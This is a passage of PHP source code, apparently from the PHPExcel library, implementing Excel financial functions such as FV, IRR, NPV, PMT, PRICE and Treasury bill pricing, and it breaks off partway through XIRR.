Fractional dollar numbers are sometimes used for security prices. * * Excel Function: * DOLLARFR(decimal_dollar,fraction) * * @access public * @category Financial Functions * @param float $decimal_dollar Decimal Dollar * @param integer $fraction Fraction * @return float */ public static function DOLLARFR($decimal_dollar = null, $fraction = 0) { $decimal_dollar = PHPExcel_Calculation_Functions::flattenSingleValue($decimal_dollar); $fraction = (int)PHPExcel_Calculation_Functions::flattenSingleValue($fraction); // Validate parameters if (is_null($decimal_dollar) || $fraction < 0) { return PHPExcel_Calculation_Functions::NaN(); } if ($fraction == 0) { return PHPExcel_Calculation_Functions::DIV0(); } $dollars = floor($decimal_dollar); $cents = fmod($decimal_dollar, 1); $cents *= $fraction; $cents *= pow(10, -ceil(log10($fraction))); return $dollars + $cents; } /** * EFFECT * * Returns the effective interest rate given the nominal rate and the number of * compounding payments per year. * * Excel Function: * EFFECT(nominal_rate,npery) * * @access public * @category Financial Functions * @param float $nominal_rate Nominal interest rate * @param integer $npery Number of compounding payments per year * @return float */ public static function EFFECT($nominal_rate = 0, $npery = 0) { $nominal_rate = PHPExcel_Calculation_Functions::flattenSingleValue($nominal_rate); $npery = (int)PHPExcel_Calculation_Functions::flattenSingleValue($npery); // Validate parameters if ($nominal_rate <= 0 || $npery < 1) { return PHPExcel_Calculation_Functions::NaN(); } return pow((1 + $nominal_rate / $npery), $npery) - 1; } /** * FV * * Returns the Future Value of a cash flow with constant payments and interest rate (annuities). * * Excel Function: * FV(rate,nper,pmt[,pv[,type]]) * * @access public * @category Financial Functions * @param float $rate The interest rate per period * @param int $nper Total number of payment periods in an annuity * @param float $pmt The payment made each period: it cannot change over the * life of the annuity. Typically, pmt contains principal * and interest but no other fees or taxes. * @param float $pv Present Value, or the lump-sum amount that a series of * future payments is worth right now. * @param integer $type A number 0 or 1 and indicates when payments are due: * 0 or omitted At the end of the period. * 1 At the beginning of the period. * @return float */ public static function FV($rate = 0, $nper = 0, $pmt = 0, $pv = 0, $type = 0) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $nper = PHPExcel_Calculation_Functions::flattenSingleValue($nper); $pmt = PHPExcel_Calculation_Functions::flattenSingleValue($pmt); $pv = PHPExcel_Calculation_Functions::flattenSingleValue($pv); $type = PHPExcel_Calculation_Functions::flattenSingleValue($type); // Validate parameters if ($type != 0 && $type != 1) { return PHPExcel_Calculation_Functions::NaN(); } // Calculate if (!is_null($rate) && $rate != 0) { return -$pv * pow(1 + $rate, $nper) - $pmt * (1 + $rate * $type) * (pow(1 + $rate, $nper) - 1) / $rate; } return -$pv - $pmt * $nper; } /** * FVSCHEDULE * * Returns the future value of an initial principal after applying a series of compound interest rates. * Use FVSCHEDULE to calculate the future value of an investment with a variable or adjustable rate. * * Excel Function: * FVSCHEDULE(principal,schedule) * * @param float $principal The present value. * @param float[] $schedule An array of interest rates to apply. * @return float */ public static function FVSCHEDULE($principal, $schedule) { $principal = PHPExcel_Calculation_Functions::flattenSingleValue($principal); $schedule = PHPExcel_Calculation_Functions::flattenArray($schedule); foreach ($schedule as $rate) { $principal *= 1 + $rate; } return $principal; } /** * INTRATE * * Returns the interest rate for a fully invested security. * * Excel Function: * INTRATE(settlement,maturity,investment,redemption[,basis]) * * @param mixed $settlement The security's settlement date. * The security settlement date is the date after the issue date when the security is traded to the buyer. * @param mixed $maturity The security's maturity date. * The maturity date is the date when the security expires. * @param integer $investment The amount invested in the security. * @param integer $redemption The amount to be received at maturity. * @param integer $basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function INTRATE($settlement, $maturity, $investment, $redemption, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $investment = PHPExcel_Calculation_Functions::flattenSingleValue($investment); $redemption = PHPExcel_Calculation_Functions::flattenSingleValue($redemption); $basis = PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if ((is_numeric($investment)) && (is_numeric($redemption)) && (is_numeric($basis))) { $investment = (float) $investment; $redemption = (float) $redemption; $basis = (int) $basis; if (($investment <= 0) || ($redemption <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity, $basis); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } return (($redemption / $investment) - 1) / ($daysBetweenSettlementAndMaturity); } return PHPExcel_Calculation_Functions::VALUE(); } /** * IPMT * * Returns the interest payment for a given period for an investment based on periodic, constant payments and a constant interest rate. * * Excel Function: * IPMT(rate,per,nper,pv[,fv][,type]) * * @param float $rate Interest rate per period * @param int $per Period for which we want to find the interest * @param int $nper Number of periods * @param float $pv Present Value * @param float $fv Future Value * @param int $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * @return float */ public static function IPMT($rate, $per, $nper, $pv, $fv = 0, $type = 0) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $per = (int) PHPExcel_Calculation_Functions::flattenSingleValue($per); $nper = (int) PHPExcel_Calculation_Functions::flattenSingleValue($nper); $pv = PHPExcel_Calculation_Functions::flattenSingleValue($pv); $fv = PHPExcel_Calculation_Functions::flattenSingleValue($fv); $type = (int) PHPExcel_Calculation_Functions::flattenSingleValue($type); // Validate parameters if ($type != 0 && $type != 1) { return PHPExcel_Calculation_Functions::NaN(); } if ($per <= 0 || $per > $nper) { return PHPExcel_Calculation_Functions::VALUE(); } // Calculate $interestAndPrincipal = self::interestAndPrincipal($rate, $per, $nper, $pv, $fv, $type); return $interestAndPrincipal[0]; } /** * IRR * * Returns the internal rate of return for a series of cash flows represented by the numbers in values. * These cash flows do not have to be even, as they would be for an annuity. However, the cash flows must occur * at regular intervals, such as monthly or annually. The internal rate of return is the interest rate received * for an investment consisting of payments (negative values) and income (positive values) that occur at regular * periods. * * Excel Function: * IRR(values[,guess]) * * @param float[] $values An array or a reference to cells that contain numbers for which you want * to calculate the internal rate of return. * Values must contain at least one positive value and one negative value to * calculate the internal rate of return. * @param float $guess A number that you guess is close to the result of IRR * @return float */ public static function IRR($values, $guess = 0.1) { if (!is_array($values)) { return PHPExcel_Calculation_Functions::VALUE(); } $values = PHPExcel_Calculation_Functions::flattenArray($values); $guess = PHPExcel_Calculation_Functions::flattenSingleValue($guess); // create an initial range, with a root somewhere between 0 and guess $x1 = 0.0; $x2 = $guess; $f1 = self::NPV($x1, $values); $f2 = self::NPV($x2, $values); for ($i = 0; $i < FINANCIAL_MAX_ITERATIONS; ++$i) { if (($f1 * $f2) < 0.0) { break; } if (abs($f1) < abs($f2)) { $f1 = self::NPV($x1 += 1.6 * ($x1 - $x2), $values); } else { $f2 = self::NPV($x2 += 1.6 * ($x2 - $x1), $values); } } if (($f1 * $f2) > 0.0) { return PHPExcel_Calculation_Functions::VALUE(); } $f = self::NPV($x1, $values); if ($f < 0.0) { $rtb = $x1; $dx = $x2 - $x1; } else { $rtb = $x2; $dx = $x1 - $x2; } for ($i = 0; $i < FINANCIAL_MAX_ITERATIONS; ++$i) { $dx *= 0.5; $x_mid = $rtb + $dx; $f_mid = self::NPV($x_mid, $values); if ($f_mid <= 0.0) { $rtb = $x_mid; } if ((abs($f_mid) < FINANCIAL_PRECISION) || (abs($dx) < FINANCIAL_PRECISION)) { return $x_mid; } } return PHPExcel_Calculation_Functions::VALUE(); } /** * ISPMT * * Returns the interest payment for an investment based on an interest rate and a constant payment schedule. * * Excel Function: * =ISPMT(interest_rate, period, number_payments, PV) * * interest_rate is the interest rate for the investment * * period is the period to calculate the interest rate. It must be betweeen 1 and number_payments. * * number_payments is the number of payments for the annuity * * PV is the loan amount or present value of the payments */ public static function ISPMT() { // Return value $returnValue = 0; // Get the parameters $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); $interestRate = array_shift($aArgs); $period = array_shift($aArgs); $numberPeriods = array_shift($aArgs); $principleRemaining = array_shift($aArgs); // Calculate $principlePayment = ($principleRemaining * 1.0) / ($numberPeriods * 1.0); for ($i=0; $i <= $period; ++$i) { $returnValue = $interestRate * $principleRemaining * -1; $principleRemaining -= $principlePayment; // principle needs to be 0 after the last payment, don't let floating point screw it up if ($i == $numberPeriods) { $returnValue = 0; } } return($returnValue); } /** * MIRR * * Returns the modified internal rate of return for a series of periodic cash flows. MIRR considers both * the cost of the investment and the interest received on reinvestment of cash. * * Excel Function: * MIRR(values,finance_rate, reinvestment_rate) * * @param float[] $values An array or a reference to cells that contain a series of payments and * income occurring at regular intervals. * Payments are negative value, income is positive values. * @param float $finance_rate The interest rate you pay on the money used in the cash flows * @param float $reinvestment_rate The interest rate you receive on the cash flows as you reinvest them * @return float */ public static function MIRR($values, $finance_rate, $reinvestment_rate) { if (!is_array($values)) { return PHPExcel_Calculation_Functions::VALUE(); } $values = PHPExcel_Calculation_Functions::flattenArray($values); $finance_rate = PHPExcel_Calculation_Functions::flattenSingleValue($finance_rate); $reinvestment_rate = PHPExcel_Calculation_Functions::flattenSingleValue($reinvestment_rate); $n = count($values); $rr = 1.0 + $reinvestment_rate; $fr = 1.0 + $finance_rate; $npv_pos = $npv_neg = 0.0; foreach ($values as $i => $v) { if ($v >= 0) { $npv_pos += $v / pow($rr, $i); } else { $npv_neg += $v / pow($fr, $i); } } if (($npv_neg == 0) || ($npv_pos == 0) || ($reinvestment_rate <= -1)) { return PHPExcel_Calculation_Functions::VALUE(); } $mirr = pow((-$npv_pos * pow($rr, $n)) / ($npv_neg * ($rr)), (1.0 / ($n - 1))) - 1.0; return (is_finite($mirr) ? $mirr : PHPExcel_Calculation_Functions::VALUE()); } /** * NOMINAL * * Returns the nominal interest rate given the effective rate and the number of compounding payments per year. * * @param float $effect_rate Effective interest rate * @param int $npery Number of compounding payments per year * @return float */ public static function NOMINAL($effect_rate = 0, $npery = 0) { $effect_rate = PHPExcel_Calculation_Functions::flattenSingleValue($effect_rate); $npery = (int)PHPExcel_Calculation_Functions::flattenSingleValue($npery); // Validate parameters if ($effect_rate <= 0 || $npery < 1) { return PHPExcel_Calculation_Functions::NaN(); } // Calculate return $npery * (pow($effect_rate + 1, 1 / $npery) - 1); } /** * NPER * * Returns the number of periods for a cash flow with constant periodic payments (annuities), and interest rate. * * @param float $rate Interest rate per period * @param int $pmt Periodic payment (annuity) * @param float $pv Present Value * @param float $fv Future Value * @param int $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * @return float */ public static function NPER($rate = 0, $pmt = 0, $pv = 0, $fv = 0, $type = 0) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $pmt = PHPExcel_Calculation_Functions::flattenSingleValue($pmt); $pv = PHPExcel_Calculation_Functions::flattenSingleValue($pv); $fv = PHPExcel_Calculation_Functions::flattenSingleValue($fv); $type = PHPExcel_Calculation_Functions::flattenSingleValue($type); // Validate parameters if ($type != 0 && $type != 1) { return PHPExcel_Calculation_Functions::NaN(); } // Calculate if (!is_null($rate) && $rate != 0) { if ($pmt == 0 && $pv == 0) { return PHPExcel_Calculation_Functions::NaN(); } return log(($pmt * (1 + $rate * $type) / $rate - $fv) / ($pv + $pmt * (1 + $rate * $type) / $rate)) / log(1 + $rate); } if ($pmt == 0) { return PHPExcel_Calculation_Functions::NaN(); } return (-$pv -$fv) / $pmt; } /** * NPV * * Returns the Net Present Value of a cash flow series given a discount rate. * * @return float */ public static function NPV() { // Return value $returnValue = 0; // Loop through arguments $aArgs = PHPExcel_Calculation_Functions::flattenArray(func_get_args()); // Calculate $rate = array_shift($aArgs); for ($i = 1; $i <= count($aArgs); ++$i) { // Is it a numeric value? if (is_numeric($aArgs[$i - 1])) { $returnValue += $aArgs[$i - 1] / pow(1 + $rate, $i); } } // Return return $returnValue; } /** * PMT * * Returns the constant payment (annuity) for a cash flow with a constant interest rate. * * @param float $rate Interest rate per period * @param int $nper Number of periods * @param float $pv Present Value * @param float $fv Future Value * @param int $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * @return float */ public static function PMT($rate = 0, $nper = 0, $pv = 0, $fv = 0, $type = 0) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $nper = PHPExcel_Calculation_Functions::flattenSingleValue($nper); $pv = PHPExcel_Calculation_Functions::flattenSingleValue($pv); $fv = PHPExcel_Calculation_Functions::flattenSingleValue($fv); $type = PHPExcel_Calculation_Functions::flattenSingleValue($type); // Validate parameters if ($type != 0 && $type != 1) { return PHPExcel_Calculation_Functions::NaN(); } // Calculate if (!is_null($rate) && $rate != 0) { return (-$fv - $pv * pow(1 + $rate, $nper)) / (1 + $rate * $type) / ((pow(1 + $rate, $nper) - 1) / $rate); } return (-$pv - $fv) / $nper; } /** * PPMT * * Returns the interest payment for a given period for an investment based on periodic, constant payments and a constant interest rate. * * @param float $rate Interest rate per period * @param int $per Period for which we want to find the interest * @param int $nper Number of periods * @param float $pv Present Value * @param float $fv Future Value * @param int $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * @return float */ public static function PPMT($rate, $per, $nper, $pv, $fv = 0, $type = 0) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $per = (int) PHPExcel_Calculation_Functions::flattenSingleValue($per); $nper = (int) PHPExcel_Calculation_Functions::flattenSingleValue($nper); $pv = PHPExcel_Calculation_Functions::flattenSingleValue($pv); $fv = PHPExcel_Calculation_Functions::flattenSingleValue($fv); $type = (int) PHPExcel_Calculation_Functions::flattenSingleValue($type); // Validate parameters if ($type != 0 && $type != 1) { return PHPExcel_Calculation_Functions::NaN(); } if ($per <= 0 || $per > $nper) { return PHPExcel_Calculation_Functions::VALUE(); } // Calculate $interestAndPrincipal = self::interestAndPrincipal($rate, $per, $nper, $pv, $fv, $type); return $interestAndPrincipal[1]; } public static function PRICE($settlement, $maturity, $rate, $yield, $redemption, $frequency, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $rate = (float) PHPExcel_Calculation_Functions::flattenSingleValue($rate); $yield = (float) PHPExcel_Calculation_Functions::flattenSingleValue($yield); $redemption = (float) PHPExcel_Calculation_Functions::flattenSingleValue($redemption); $frequency = (int) PHPExcel_Calculation_Functions::flattenSingleValue($frequency); $basis = (is_null($basis)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); if (is_string($settlement = PHPExcel_Calculation_DateTime::getDateValue($settlement))) { return PHPExcel_Calculation_Functions::VALUE(); } if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } if (($settlement > $maturity) || (!self::isValidFrequency($frequency)) || (($basis < 0) || ($basis > 4))) { return PHPExcel_Calculation_Functions::NaN(); } $dsc = self::COUPDAYSNC($settlement, $maturity, $frequency, $basis); $e = self::COUPDAYS($settlement, $maturity, $frequency, $basis); $n = self::COUPNUM($settlement, $maturity, $frequency, $basis); $a = self::COUPDAYBS($settlement, $maturity, $frequency, $basis); $baseYF = 1.0 + ($yield / $frequency); $rfp = 100 * ($rate / $frequency); $de = $dsc / $e; $result = $redemption / pow($baseYF, (--$n + $de)); for ($k = 0; $k <= $n; ++$k) { $result += $rfp / (pow($baseYF, ($k + $de))); } $result -= $rfp * ($a / $e); return $result; } /** * PRICEDISC * * Returns the price per $100 face value of a discounted security. * * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param int discount The security's discount rate. * @param int redemption The security's redemption value per $100 face value. * @param int basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function PRICEDISC($settlement, $maturity, $discount, $redemption, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $discount = (float) PHPExcel_Calculation_Functions::flattenSingleValue($discount); $redemption = (float) PHPExcel_Calculation_Functions::flattenSingleValue($redemption); $basis = (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if ((is_numeric($discount)) && (is_numeric($redemption)) && (is_numeric($basis))) { if (($discount <= 0) || ($redemption <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity, $basis); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } return $redemption * (1 - $discount * $daysBetweenSettlementAndMaturity); } return PHPExcel_Calculation_Functions::VALUE(); } /** * PRICEMAT * * Returns the price per $100 face value of a security that pays interest at maturity. * * @param mixed settlement The security's settlement date. * The security's settlement date is the date after the issue date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param mixed issue The security's issue date. * @param int rate The security's interest rate at date of issue. * @param int yield The security's annual yield. * @param int basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function PRICEMAT($settlement, $maturity, $issue, $rate, $yield, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $issue = PHPExcel_Calculation_Functions::flattenSingleValue($issue); $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $yield = PHPExcel_Calculation_Functions::flattenSingleValue($yield); $basis = (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if (is_numeric($rate) && is_numeric($yield)) { if (($rate <= 0) || ($yield <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysPerYear = self::daysPerYear(PHPExcel_Calculation_DateTime::YEAR($settlement), $basis); if (!is_numeric($daysPerYear)) { return $daysPerYear; } $daysBetweenIssueAndSettlement = PHPExcel_Calculation_DateTime::YEARFRAC($issue, $settlement, $basis); if (!is_numeric($daysBetweenIssueAndSettlement)) { // return date error return $daysBetweenIssueAndSettlement; } $daysBetweenIssueAndSettlement *= $daysPerYear; $daysBetweenIssueAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($issue, $maturity, $basis); if (!is_numeric($daysBetweenIssueAndMaturity)) { // return date error return $daysBetweenIssueAndMaturity; } $daysBetweenIssueAndMaturity *= $daysPerYear; $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity, $basis); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } $daysBetweenSettlementAndMaturity *= $daysPerYear; return ((100 + (($daysBetweenIssueAndMaturity / $daysPerYear) * $rate * 100)) / (1 + (($daysBetweenSettlementAndMaturity / $daysPerYear) * $yield)) - (($daysBetweenIssueAndSettlement / $daysPerYear) * $rate * 100)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * PV * * Returns the Present Value of a cash flow with constant payments and interest rate (annuities). * * @param float $rate Interest rate per period * @param int $nper Number of periods * @param float $pmt Periodic payment (annuity) * @param float $fv Future Value * @param int $type Payment type: 0 = at the end of each period, 1 = at the beginning of each period * @return float */ public static function PV($rate = 0, $nper = 0, $pmt = 0, $fv = 0, $type = 0) { $rate = PHPExcel_Calculation_Functions::flattenSingleValue($rate); $nper = PHPExcel_Calculation_Functions::flattenSingleValue($nper); $pmt = PHPExcel_Calculation_Functions::flattenSingleValue($pmt); $fv = PHPExcel_Calculation_Functions::flattenSingleValue($fv); $type = PHPExcel_Calculation_Functions::flattenSingleValue($type); // Validate parameters if ($type != 0 && $type != 1) { return PHPExcel_Calculation_Functions::NaN(); } // Calculate if (!is_null($rate) && $rate != 0) { return (-$pmt * (1 + $rate * $type) * ((pow(1 + $rate, $nper) - 1) / $rate) - $fv) / pow(1 + $rate, $nper); } return -$fv - $pmt * $nper; } /** * RATE * * Returns the interest rate per period of an annuity. * RATE is calculated by iteration and can have zero or more solutions. * If the successive results of RATE do not converge to within 0.0000001 after 20 iterations, * RATE returns the #NUM! error value. * * Excel Function: * RATE(nper,pmt,pv[,fv[,type[,guess]]]) * * @access public * @category Financial Functions * @param float nper The total number of payment periods in an annuity. * @param float pmt The payment made each period and cannot change over the life * of the annuity. * Typically, pmt includes principal and interest but no other * fees or taxes. * @param float pv The present value - the total amount that a series of future * payments is worth now. * @param float fv The future value, or a cash balance you want to attain after * the last payment is made. If fv is omitted, it is assumed * to be 0 (the future value of a loan, for example, is 0). * @param integer type A number 0 or 1 and indicates when payments are due: * 0 or omitted At the end of the period. * 1 At the beginning of the period. * @param float guess Your guess for what the rate will be. * If you omit guess, it is assumed to be 10 percent. * @return float **/ public static function RATE($nper, $pmt, $pv, $fv = 0.0, $type = 0, $guess = 0.1) { $nper = (int) PHPExcel_Calculation_Functions::flattenSingleValue($nper); $pmt = PHPExcel_Calculation_Functions::flattenSingleValue($pmt); $pv = PHPExcel_Calculation_Functions::flattenSingleValue($pv); $fv = (is_null($fv)) ? 0.0 : PHPExcel_Calculation_Functions::flattenSingleValue($fv); $type = (is_null($type)) ? 0 : (int) PHPExcel_Calculation_Functions::flattenSingleValue($type); $guess = (is_null($guess)) ? 0.1 : PHPExcel_Calculation_Functions::flattenSingleValue($guess); $rate = $guess; if (abs($rate) < FINANCIAL_PRECISION) { $y = $pv * (1 + $nper * $rate) + $pmt * (1 + $rate * $type) * $nper + $fv; } else { $f = exp($nper * log(1 + $rate)); $y = $pv * $f + $pmt * (1 / $rate + $type) * ($f - 1) + $fv; } $y0 = $pv + $pmt * $nper + $fv; $y1 = $pv * $f + $pmt * (1 / $rate + $type) * ($f - 1) + $fv; // find root by secant method $i = $x0 = 0.0; $x1 = $rate; while ((abs($y0 - $y1) > FINANCIAL_PRECISION) && ($i < FINANCIAL_MAX_ITERATIONS)) { $rate = ($y1 * $x0 - $y0 * $x1) / ($y1 - $y0); $x0 = $x1; $x1 = $rate; if (($nper * abs($pmt)) > ($pv - $fv)) { $x1 = abs($x1); } if (abs($rate) < FINANCIAL_PRECISION) { $y = $pv * (1 + $nper * $rate) + $pmt * (1 + $rate * $type) * $nper + $fv; } else { $f = exp($nper * log(1 + $rate)); $y = $pv * $f + $pmt * (1 / $rate + $type) * ($f - 1) + $fv; } $y0 = $y1; $y1 = $y; ++$i; } return $rate; } /** * RECEIVED * * Returns the price per $100 face value of a discounted security. * * @param mixed settlement The security's settlement date. * The security settlement date is the date after the issue date when the security is traded to the buyer. * @param mixed maturity The security's maturity date. * The maturity date is the date when the security expires. * @param int investment The amount invested in the security. * @param int discount The security's discount rate. * @param int basis The type of day count to use. * 0 or omitted US (NASD) 30/360 * 1 Actual/actual * 2 Actual/360 * 3 Actual/365 * 4 European 30/360 * @return float */ public static function RECEIVED($settlement, $maturity, $investment, $discount, $basis = 0) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $investment = (float) PHPExcel_Calculation_Functions::flattenSingleValue($investment); $discount = (float) PHPExcel_Calculation_Functions::flattenSingleValue($discount); $basis = (int) PHPExcel_Calculation_Functions::flattenSingleValue($basis); // Validate if ((is_numeric($investment)) && (is_numeric($discount)) && (is_numeric($basis))) { if (($investment <= 0) || ($discount <= 0)) { return PHPExcel_Calculation_Functions::NaN(); } $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity, $basis); if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } return $investment / ( 1 - ($discount * $daysBetweenSettlementAndMaturity)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * SLN * * Returns the straight-line depreciation of an asset for one period * * @param cost Initial cost of the asset * @param salvage Value at the end of the depreciation * @param life Number of periods over which the asset is depreciated * @return float */ public static function SLN($cost, $salvage, $life) { $cost = PHPExcel_Calculation_Functions::flattenSingleValue($cost); $salvage = PHPExcel_Calculation_Functions::flattenSingleValue($salvage); $life = PHPExcel_Calculation_Functions::flattenSingleValue($life); // Calculate if ((is_numeric($cost)) && (is_numeric($salvage)) && (is_numeric($life))) { if ($life < 0) { return PHPExcel_Calculation_Functions::NaN(); } return ($cost - $salvage) / $life; } return PHPExcel_Calculation_Functions::VALUE(); } /** * SYD * * Returns the sum-of-years' digits depreciation of an asset for a specified period. * * @param cost Initial cost of the asset * @param salvage Value at the end of the depreciation * @param life Number of periods over which the asset is depreciated * @param period Period * @return float */ public static function SYD($cost, $salvage, $life, $period) { $cost = PHPExcel_Calculation_Functions::flattenSingleValue($cost); $salvage = PHPExcel_Calculation_Functions::flattenSingleValue($salvage); $life = PHPExcel_Calculation_Functions::flattenSingleValue($life); $period = PHPExcel_Calculation_Functions::flattenSingleValue($period); // Calculate if ((is_numeric($cost)) && (is_numeric($salvage)) && (is_numeric($life)) && (is_numeric($period))) { if (($life < 1) || ($period > $life)) { return PHPExcel_Calculation_Functions::NaN(); } return (($cost - $salvage) * ($life - $period + 1) * 2) / ($life * ($life + 1)); } return PHPExcel_Calculation_Functions::VALUE(); } /** * TBILLEQ * * Returns the bond-equivalent yield for a Treasury bill. * * @param mixed settlement The Treasury bill's settlement date. * The Treasury bill's settlement date is the date after the issue date when the Treasury bill is traded to the buyer. * @param mixed maturity The Treasury bill's maturity date. * The maturity date is the date when the Treasury bill expires. * @param int discount The Treasury bill's discount rate. * @return float */ public static function TBILLEQ($settlement, $maturity, $discount) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $discount = PHPExcel_Calculation_Functions::flattenSingleValue($discount); // Use TBILLPRICE for validation $testValue = self::TBILLPRICE($settlement, $maturity, $discount); if (is_string($testValue)) { return $testValue; } if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { ++$maturity; $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity) * 360; } else { $daysBetweenSettlementAndMaturity = (PHPExcel_Calculation_DateTime::getDateValue($maturity) - PHPExcel_Calculation_DateTime::getDateValue($settlement)); } return (365 * $discount) / (360 - $discount * $daysBetweenSettlementAndMaturity); } /** * TBILLPRICE * * Returns the yield for a Treasury bill. * * @param mixed settlement The Treasury bill's settlement date. * The Treasury bill's settlement date is the date after the issue date when the Treasury bill is traded to the buyer. * @param mixed maturity The Treasury bill's maturity date. * The maturity date is the date when the Treasury bill expires. * @param int discount The Treasury bill's discount rate. * @return float */ public static function TBILLPRICE($settlement, $maturity, $discount) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $discount = PHPExcel_Calculation_Functions::flattenSingleValue($discount); if (is_string($maturity = PHPExcel_Calculation_DateTime::getDateValue($maturity))) { return PHPExcel_Calculation_Functions::VALUE(); } // Validate if (is_numeric($discount)) { if ($discount <= 0) { return PHPExcel_Calculation_Functions::NaN(); } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { ++$maturity; $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity) * 360; if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } } else { $daysBetweenSettlementAndMaturity = (PHPExcel_Calculation_DateTime::getDateValue($maturity) - PHPExcel_Calculation_DateTime::getDateValue($settlement)); } if ($daysBetweenSettlementAndMaturity > 360) { return PHPExcel_Calculation_Functions::NaN(); } $price = 100 * (1 - (($discount * $daysBetweenSettlementAndMaturity) / 360)); if ($price <= 0) { return PHPExcel_Calculation_Functions::NaN(); } return $price; } return PHPExcel_Calculation_Functions::VALUE(); } /** * TBILLYIELD * * Returns the yield for a Treasury bill. * * @param mixed settlement The Treasury bill's settlement date. * The Treasury bill's settlement date is the date after the issue date when the Treasury bill is traded to the buyer. * @param mixed maturity The Treasury bill's maturity date. * The maturity date is the date when the Treasury bill expires. * @param int price The Treasury bill's price per $100 face value. * @return float */ public static function TBILLYIELD($settlement, $maturity, $price) { $settlement = PHPExcel_Calculation_Functions::flattenSingleValue($settlement); $maturity = PHPExcel_Calculation_Functions::flattenSingleValue($maturity); $price = PHPExcel_Calculation_Functions::flattenSingleValue($price); // Validate if (is_numeric($price)) { if ($price <= 0) { return PHPExcel_Calculation_Functions::NaN(); } if (PHPExcel_Calculation_Functions::getCompatibilityMode() == PHPExcel_Calculation_Functions::COMPATIBILITY_OPENOFFICE) { ++$maturity; $daysBetweenSettlementAndMaturity = PHPExcel_Calculation_DateTime::YEARFRAC($settlement, $maturity) * 360; if (!is_numeric($daysBetweenSettlementAndMaturity)) { // return date error return $daysBetweenSettlementAndMaturity; } } else { $daysBetweenSettlementAndMaturity = (PHPExcel_Calculation_DateTime::getDateValue($maturity) - PHPExcel_Calculation_DateTime::getDateValue($settlement)); } if ($daysBetweenSettlementAndMaturity > 360) { return PHPExcel_Calculation_Functions::NaN(); } return ((100 - $price) / $price) * (360 / $daysBetweenSettlementAndMaturity); } return PHPExcel_Calculation_Functions::VALUE(); } public static function XIRR($values, $dates, $guess = 0.1) { if ((!is_array($values)) && (!is_array($dates))) { return PHPExcel_Calculation_Functions::VALUE(); } $values = PHPExcel_Calculation_Functions::flattenArray($values); $dates = 